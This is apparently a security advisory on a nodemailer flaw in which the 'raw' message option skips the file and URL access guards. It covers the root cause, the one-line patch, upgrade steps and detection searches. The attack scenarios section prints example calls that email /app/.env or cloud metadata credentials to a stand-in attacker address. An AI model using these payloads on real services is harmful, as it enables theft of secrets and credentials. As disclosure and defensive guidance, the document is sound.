high
CVE
Not assigned
CWE
CWE-73, CWE-918, CWE-200
Affected Surface
nodemailer <= 9.0.0, Node.js services that pass untrusted message data into `transporter.sendMail()`, Applications that rely on `disableFileAccess` and `disableUrlAccess` as a sandbox boundary, Mail flows that allow attacker influence over the `raw` field, especially when the attacker can also control the recipient
nodemailer disclosed a new high-severity vulnerability on 17-18 June 2026: the package’s message-level raw option bypasses the same file and URL access guards that developers are expected to rely on when they feed untrusted mail data into the library.
This is not a generic “email library bug.” It is a trust-boundary failure in a package that many Node.js services use as infrastructure. Applications explicitly set disableFileAccess and disableUrlAccess because they do not trust parts of the message object. The vulnerable raw path silently discards both controls before nodemailer resolves file or URL-backed content, so a payload that should have been rejected is instead read, fetched, and sent.
Affected versions
The affected npm package is nodemailer:
nodemailerversions<= 9.0.0
Patched version:
nodemailer9.0.1
Unlike the earlier June jsonTransport advisory, this finding is about the raw root-message path. If you remained on an older major line because you believed only jsonTransport was risky, the newly published advisory matters: the affected range spans every version up to 9.0.0, and the published fix line is 9.0.1.
Start with dependency inventory:
npm ls nodemailer
Then search for code that treats nodemailer as a sandbox for untrusted mail input:
rg -n "sendMail\\(|disableFileAccess|disableUrlAccess|raw:" src lib app services
The vulnerable code path
The root cause is small and easy to miss. In MailComposer.compile(), the raw branch constructed a MimeNode with only a newline option:
if (this.mail.raw) {
this.message = new MimeNode("message/rfc822", {
newline: this.mail.newline
}).setRaw(this.mail.raw);
}
That matters because MimeNode enforces file and URL restrictions from its own constructor options. The advisory shows that sibling node builders such as _createMixed(), _createAlternative(), _createRelated(), and _createContentNode() all propagate:
disableFileAccess: this.mail.disableFileAccess,
disableUrlAccess: this.mail.disableUrlAccess
The raw builder did not. As a result, the execution path looked like this:
transporter.sendMail({ raw: <attacker-controlled>, to: <attacker-controlled> })
-> MailComposer.compile()
-> new MimeNode("message/rfc822", { newline })
-> setRaw(...)
-> _getStream(...)
-> fs.createReadStream(path) or nmfetch(href)
-> outgoing message body
The library therefore exposed a structural policy gap:
- The application set
disableFileAccessordisableUrlAccess. - The
rawmessage node dropped those flags at construction time. _getStream()treated{ path }and{ href }as allowed content sources.- The fetched bytes became the actual RFC822 message body that the transport delivered.
Why this is worse than the earlier June Nodemailer bug
This advisory is closely related to the earlier jsonTransport bypass, but it is materially worse for applications that actually send email.
The earlier issue affected normalization into locally returned JSON. This issue affects the normal send flow shared by all transports. The advisory explicitly traces the sink through fs.createReadStream() and nmfetch() into SMTP, SES, sendmail, stream, and JSON transports. In other words, this is not an internal-only leak. If the recipient is attacker-controlled, the exfiltration channel is the email itself.
Attack scenarios
Arbitrary local-file disclosure
If an application allows untrusted input to influence raw, an attacker can turn a supposed sandbox into server-side file read:
await transporter.sendMail({
to: "attacker@evil.test",
raw: { path: "/app/.env" },
disableFileAccess: true
});
The intended result is an EFILEACCESS failure. On vulnerable builds, the file is opened and its bytes become the outgoing message body.
In real systems, the highest-value targets are usually:
/app/.env- cloud credential files
- service account material
- private keys or SMTP secrets
- process-local files such as
/proc/self/environ
Full-response SSRF
The second path is just as important:
await transporter.sendMail({
to: "attacker@evil.test",
raw: { href: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
disableUrlAccess: true
});
Because the vulnerable node never receives disableUrlAccess, nodemailer can fetch the response server-side and embed the full body into the delivered email. That is a much stronger primitive than blind SSRF. The attacker does not just trigger a request; they receive the response contents if the application lets them steer the recipient.
Preconditions matter
This is not “instant compromise for any nodemailer install.” The advisory’s preconditions are still important:
- the application must use
nodemailer - it must rely on
disableFileAccessordisableUrlAccess - untrusted input must influence the
rawfield
But those preconditions are realistic. nodemailer documents both flags as security options for situations where message content comes from untrusted JSON-like input. The vulnerable path is therefore dangerous precisely for the applications that tried to do the right thing.
The fix
The patch in 9.0.1 is intentionally narrow. The raw node builder now forwards the missing guards:
if (this.mail.raw) {
this.message = new MimeNode("message/rfc822", {
newline: this.mail.newline,
disableFileAccess: this.mail.disableFileAccess,
disableUrlAccess: this.mail.disableUrlAccess
}).setRaw(this.mail.raw);
}
This is the correct remediation because MimeNode already knew how to reject blocked file and URL sources. The bug was not in the sink implementation; it was in inconsistent policy propagation before the sink was reached.
From an AppSec perspective, this is the lesson to keep: once a library applies security policy per node, constructor, adapter, or transport, every shortcut path has to thread that policy explicitly. Otherwise the “safe” API contract only exists on the happy path.
Remediation
Upgrade to a fixed release:
npm install nodemailer@^9.0.1
Then verify the resolved version:
npm ls nodemailer
If a transitive dependency pins an affected version, update the parent package or use your repository’s existing override mechanism until upstream packages catch up.
Detection and triage
Search for these patterns:
sendMail({
raw:
disableFileAccess
disableUrlAccess
message/rfc822
Focus review on:
- email templating services that accept rich message definitions over HTTP
- workflow engines that replay stored message JSON
- internal admin tools that let users submit prebuilt MIME content
- test harnesses that assumed
disableFileAccessordisableUrlAccesswas a hard security boundary
If an affected service allowed attacker influence over raw, review logs and outbound email records for unusual messages whose body appears to contain local configuration, environment data, or internal HTTP responses. If the recipient was attacker-controlled, treat exposed secrets as compromised and rotate them from a clean system.
Why this belongs on the research radar
This advisory is a good example of a modern application-security failure mode in package ecosystems: the package did ship a defensive control, and the application may have enabled it correctly, but one rarely used execution path silently bypassed the control. That is exactly the kind of bug that slips through code review in mature infrastructure libraries and still creates a high-impact exploit path for downstream applications.